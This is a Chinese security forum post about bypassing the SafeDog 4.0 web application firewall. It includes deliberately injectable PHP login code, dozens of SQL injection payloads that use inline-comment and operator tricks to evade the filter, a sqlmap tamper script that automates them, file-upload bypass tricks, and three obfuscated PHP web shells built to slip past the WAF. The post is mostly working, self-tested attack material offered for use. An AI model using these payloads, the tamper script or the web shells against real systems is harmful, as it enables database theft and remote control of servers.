SQL注入Bypass安全狗4.0

最近准备多搞搞实战,就准备从绕waf开始,第一位受害者就选安全狗4.0叭。

源代码:

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>check</title>
</head>
<?php
$agent = $_SERVER['HTTP_USER_AGENT'];

include 'connection.php';



function LoginCheck()           
{
    if (isset($_GET['username']) && isset($_GET['password']) && !empty($_GET['username']) && !empty($_GET['password'])){
        $username = trim(@$_GET['username']);
        $password = trim(@$_GET['password']);
        if (empty($username) || empty($password)) {
            echo"               
                <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
                    <br><br><br>
                    <h1 style='font-family:verdana;color:red;text-align:center;font-size:40px;'>Not be Empty</h1>
                </body>
                ";
            exit();
        }
    }
    else{
        echo"               
                <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
                    <br><br><br>
                    <h1 style='font-family:verdana;color:red;text-align:center;font-size:40px;'>Input your username and password</h1>
                </body>
            ";
        exit();
    }

    return array($username,$password);
}


function MysqlSelect($conn,$data)           //注册
{
    $sql = "select * from geekuser where username='".$data[0]."' and password='".$data[1]."'";
    $result = mysqli_query($conn,$sql);
    if ($result) {
        $row = mysqli_fetch_assoc($result);
        if ($row) {
            echo "
                <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
                    <br><br><br>
                    <h1 style='font-family:verdana;color:red;text-align:center;'>Login Success!</h1><br><br><br>
                    </br>
                    <p style='font-family:arial;color:#ffffff;font-size:30px;left:650px;position:absolute;'>Hello ".$row['username']."!</p>"."</br></br>
                    <p style='font-family:arial;color:#ffffff;font-size:30px;left:650px;position:absolute;'>Your password is '".$row['password']."'</p>
                </body>
                ";
        }else{
            echo "
                <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
                    <br><br><br>
                    <h1 style='font-family:verdana;color:red;text-align:center;font-size:70px;'>NO,Wrong username password!!!</h1>
                </body>
                ";
        }
    }else {
        echo"               
            <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
                <br><br><br>
                <h1 style='font-family:verdana;color:#ffffff;text-align:center;font-size:15px'>
                ".
                mysqli_error($conn)
                ."</h1>
            </body>";
    }
}


$data = LoginCheck();
MysqlSelect($conn,$data);


?>
</html>

1=1绕过

'and 1=1-- -被拦截:

&符号可以绕

'%261-- -
'%26true-- -
'%260-- -
'%26false-- -

xor同样可以绕:

'Xor 1-- -
'Xor true-- -

'or length(database()=4)-- -会被ban,这样绕:

'%26(length(database/**/())=4)-- -
'%26(ascii(@@version)=53)-- -

这样也可以

1'or -1=-1-- -
1'or -0=-0-- -
...

内敛注释:

1'or /*!1=1*/-- -

或者简单粗暴点的 直接绕过and和or:

/*!11440OR*/
/*!11440AND*/

order by 绕过

%23%0a绕过

order%23%0aby 3

内敛注释加注释绕过:

1'/*!order /*!/*/**/by*/4-- -
1'/*!order /*/*%/**/by*/4-- -
1'/*!order /*!/*/**//**/by*/4-- -
1'/*!order /*!/*/**//*/**/by*/4-- -

同样类似上面绕过and方法:

/*!11440order*/

union select绕过:

利用内敛注释与注释的混淆绕过

1'/*!union/*!/*/**/*/select/**/1,2,'cl4y'-- -       #这个地方select后面的/**/要加,不过如果语句复杂一点就不用加了。

/*!11440union*/:

/*!11440union*/
/*!select/*!/*/**/*/

系统函数绕过

单独的括号和函数名都不会检测,思路就是分开函数名和括号就行:

version ()      #直接空格
user%0a()       #这个地方%0a~%20有很多,类似绕过空格
database/**/()  #注释符
user/*!*/()     #内敛注释
...

函数名绕过

在报错注入的时候可以用这个格式绕过:

/*!extractvalue/*!/*/**/*/
/*!updatexml/*!/*/**/*/
...

information_schema.*绕过

这个地方没有找到方法绕过,不过Mysql>5.6.xmysql 库里增添了两个新表,innodb_index_statsinnodb_table_stats 这两个表是数据库自动设置的。存储数据库和对应的数据表。安全狗没有对这两个表检测,详见这篇文章

最后就可以拖库了:

总结(干货)

有几个万能绕过的payload:
安全狗会正则想要ban掉的字符,比如如果将一个参数分割之后union select两个单词顺序出现就会ban掉,这里就利用正则的缺陷,让union或select不能单独分离出来,就可以绕过,比如这几个payload:

#针对两个关键字连用或者函数
/*!union/*!/*/**/*/select/**/
/*!database/*!/*/**/*/()/**/
/*!order/*!/*/**/*/by/**/
#针对单独的一个关键字
/*!union/*!/*/**/*/
/*!updatexml/*!/*/**/*/
/*!extractvalue/*!/*/**/*/

以上亲测好用,我觉得有这种payload,安全狗就是纸窗户qwq。

最后附上tamper脚本:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-


from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST


def dependencies():
    pass

def tamper(payload, **kwargs):



    if payload:
        payload=payload.replace("=","/*!*/=/*!*/")
        payload=payload.replace("ORDER","/*!ORDER/*!/*/**/*/")
        payload=payload.replace("AND","/*!AND/*!/*/**/*/")
        payload=payload.replace("OR","/*!OR/*!/*/**/*/")
        payload=payload.replace("UNION","/*!UNION/*!/*/**/*/")
        payload=payload.replace("SELECT","/*!SELECT/*!/*/**/*/")
        payload=payload.replace("USER()","/*!USER/*!/*/**/*/()/**/")
        payload=payload.replace("DATABASE()","/*!DATABASE/*!/*/**/*/()/**/")
        payload=payload.replace("VERSION()","/*!VERSION/*!/*/**/*/()/**/")
        payload=payload.replace("SESSION_USER()","/*!SESSION_USER/*!/*/**/*/()/**/")
        payload=payload.replace("EXTRACTVALUE","/*!EXTRACTVALUE/*!/*/**/*/()/**/")
        payload=payload.replace("UPDATEXML","/*!UPDATEXML/*!/*/**/*/")

    return payload

文件上传Bypass安全狗4.0

环境是win+apache2.4+安全狗4.0

大致思路呢,就是考虑到安全狗在检测的时候,是正则常规request包,但是apache处理request包的时候有容错,这就造成了差异性,安全狗就会提取不出应该提取的部分,从而绕过

文件名回车绕过:

==绕过

双写filename=;(诡异的request包)

%00截断
在文件名后面加上%00然后CTRL+SHIFT+U转成字符,这里后面不用加.jpg也可以

给一个GitHub免杀一句话的项目:点击这里

然后整了一些过waf的马:

<?php
$a='ass';
$b='ert';
$funcName=$a.$b  //assert
$x='funcName';
$$x($_REQUEST['Name']);
?>

<?php
class User {
    public $name='';
    function __destruct(){
        eval("$this->name");
    }
}
$user=new User;
$user->name=''.$_REQUEST['a'];
?>

<?php
function a($a){
return $a;}
eval (a($_REQUEST)['hh']);
?>

点击收藏 | 4 关注 | 2
登录 后跟帖